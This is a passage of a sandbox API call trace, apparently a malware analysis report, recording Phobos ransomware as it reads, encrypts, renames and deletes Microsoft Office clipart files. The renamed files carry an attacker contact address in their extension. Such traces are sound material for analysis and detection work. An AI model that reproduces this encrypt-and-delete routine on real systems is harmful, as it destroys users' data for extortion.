nNumberOfBytesToWrite=0xe30, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xe30, lpOverlapped=0x0) returned 1 [0062.275] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dcb90) returned 1 [0062.275] CryptSetKeyParam (hKey=0x10dcb90, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0062.275] CryptEncrypt (in: hKey=0x10dcb90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0062.275] CryptDestroyKey (hKey=0x10dcb90) returned 1 [0062.275] WriteFile (in: hFile=0x334, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0062.275] CryptDestroyKey (hKey=0x10dc710) returned 1 [0062.275] CloseHandle (hObject=0x328) returned 1 [0062.275] CloseHandle (hObject=0x334) returned 1 [0062.276] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf")) returned 1 [0062.278] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0062.278] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0062.297] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=2780) returned 1 [0062.297] CloseHandle (hObject=0x328) returned 1 [0062.297] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf")) returned 0x220 [0062.297] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0062.299] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0062.299] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0062.299] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0062.299] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0062.308] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dcc50) returned 1 [0062.308] CryptSetKeyParam (hKey=0x10dcc50, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0062.308] ReadFile (in: hFile=0x31c, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0xadc, lpOverlapped=0x0) returned 1 [0062.310] CryptEncrypt (in: hKey=0x10dcc50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xae0, dwBufLen=0xae0 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xae0) returned 1 [0062.310] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xae0, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xae0, lpOverlapped=0x0) returned 1 [0062.311] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dcbd0) returned 1 [0062.311] CryptSetKeyParam (hKey=0x10dcbd0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0062.311] CryptEncrypt (in: hKey=0x10dcbd0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0062.311] CryptDestroyKey (hKey=0x10dcbd0) returned 1 [0062.311] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0062.312] CryptDestroyKey (hKey=0x10dcc50) returned 1 [0062.312] CloseHandle (hObject=0x31c) returned 1 [0062.312] CloseHandle (hObject=0x2fc) returned 1 [0062.312] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf")) returned 1 [0062.313] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0062.313] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0062.313] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=2960) returned 1 [0062.313] CloseHandle (hObject=0x2fc) returned 1 [0062.313] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf")) returned 0x220 [0062.313] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0062.313] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0062.314] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0062.314] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0062.314] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0062.314] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc750) returned 1 [0062.314] CryptSetKeyParam (hKey=0x10dc750, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0062.314] ReadFile (in: hFile=0x2fc, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0xb90, lpOverlapped=0x0) returned 1 [0062.325] CryptEncrypt (in: hKey=0x10dc750, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xba0, dwBufLen=0xba0 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xba0) returned 1 [0062.325] WriteFile (in: hFile=0x31c, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xba0, lpOverlapped=0x0) returned 1 [0062.326] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc850) returned 1 [0062.326] CryptSetKeyParam (hKey=0x10dc850, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0062.326] CryptEncrypt (in: hKey=0x10dc850, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0062.326] CryptDestroyKey (hKey=0x10dc850) returned 1 [0062.326] WriteFile (in: hFile=0x31c, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0062.326] CryptDestroyKey (hKey=0x10dc750) returned 1 [0062.326] CloseHandle (hObject=0x2fc) returned 1 [0062.326] CloseHandle (hObject=0x31c) returned 1 [0062.326] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf")) returned 1 [0062.327] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0062.327] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0062.331] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=2228) returned 1 [0062.331] CloseHandle (hObject=0x330) returned 1 [0062.331] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf")) returned 0x220 [0062.331] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0062.331] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0062.331] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0062.331] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0062.331] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0062.332] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dcc50) returned 1 [0062.332] CryptSetKeyParam (hKey=0x10dcc50, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0062.332] ReadFile (in: hFile=0x330, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x8b4, lpOverlapped=0x0) returned 1 [0062.771] CryptEncrypt (in: hKey=0x10dcc50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x8c0, dwBufLen=0x8c0 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x8c0) returned 1 [0062.771] WriteFile (in: hFile=0x334, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x8c0, lpOverlapped=0x0) returned 1 [0062.772] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dcb10) returned 1 [0062.772] CryptSetKeyParam (hKey=0x10dcb10, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0062.772] CryptEncrypt (in: hKey=0x10dcb10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0062.772] CryptDestroyKey (hKey=0x10dcb10) returned 1 [0062.772] WriteFile (in: hFile=0x334, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0062.772] CryptDestroyKey (hKey=0x10dcc50) returned 1 [0062.772] CloseHandle (hObject=0x330) returned 1 [0062.772] CloseHandle (hObject=0x334) returned 1 [0062.773] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf")) returned 1 [0062.774] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0062.774] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0062.774] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=2300) returned 1 [0062.774] CloseHandle (hObject=0x334) returned 1 [0062.774] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf")) returned 0x220 [0062.774] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0062.774] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0062.774] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0062.774] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0062.774] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0062.775] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc550) returned 1 [0062.775] CryptSetKeyParam (hKey=0x10dc550, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0062.775] ReadFile (in: hFile=0x334, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x8fc, lpOverlapped=0x0) returned 1 [0062.944] CryptEncrypt (in: hKey=0x10dc550, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x900, dwBufLen=0x900 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x900) returned 1 [0062.944] WriteFile (in: hFile=0x330, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x900, lpOverlapped=0x0) returned 1 [0062.944] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc810) returned 1 [0062.944] CryptSetKeyParam (hKey=0x10dc810, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0062.944] CryptEncrypt (in: hKey=0x10dc810, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0062.945] CryptDestroyKey (hKey=0x10dc810) returned 1 [0062.945] WriteFile (in: hFile=0x330, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0062.945] CryptDestroyKey (hKey=0x10dc550) returned 1 [0062.945] CloseHandle (hObject=0x334) returned 1 [0062.945] CloseHandle (hObject=0x330) returned 1 [0062.945] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf")) returned 1 [0062.946] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0062.946] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0062.946] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=2080) returned 1 [0062.946] CloseHandle (hObject=0x330) returned 1 [0062.946] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf")) returned 0x220 [0062.946] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0062.946] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0062.946] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0062.946] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0062.946] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0062.958] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dcc10) returned 1 [0062.958] CryptSetKeyParam (hKey=0x10dcc10, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0062.958] ReadFile (in: hFile=0x330, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x820, lpOverlapped=0x0) returned 1 [0063.249] CryptEncrypt (in: hKey=0x10dcc10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x830, dwBufLen=0x830 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x830) returned 1 [0063.249] WriteFile (in: hFile=0x334, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x830, lpOverlapped=0x0) returned 1 [0064.846] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc950) returned 1 [0064.846] CryptSetKeyParam (hKey=0x10dc950, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0064.846] CryptEncrypt (in: hKey=0x10dc950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0064.846] CryptDestroyKey (hKey=0x10dc950) returned 1 [0064.846] WriteFile (in: hFile=0x334, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0064.846] CryptDestroyKey (hKey=0x10dcc10) returned 1 [0064.846] CloseHandle (hObject=0x330) returned 1 [0064.847] CloseHandle (hObject=0x334) returned 1 [0064.847] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf")) returned 1 [0065.078] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0065.078] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0065.080] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=2020) returned 1 [0065.080] CloseHandle (hObject=0x330) returned 1 [0065.080] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf")) returned 0x220 [0065.080] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0065.081] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program 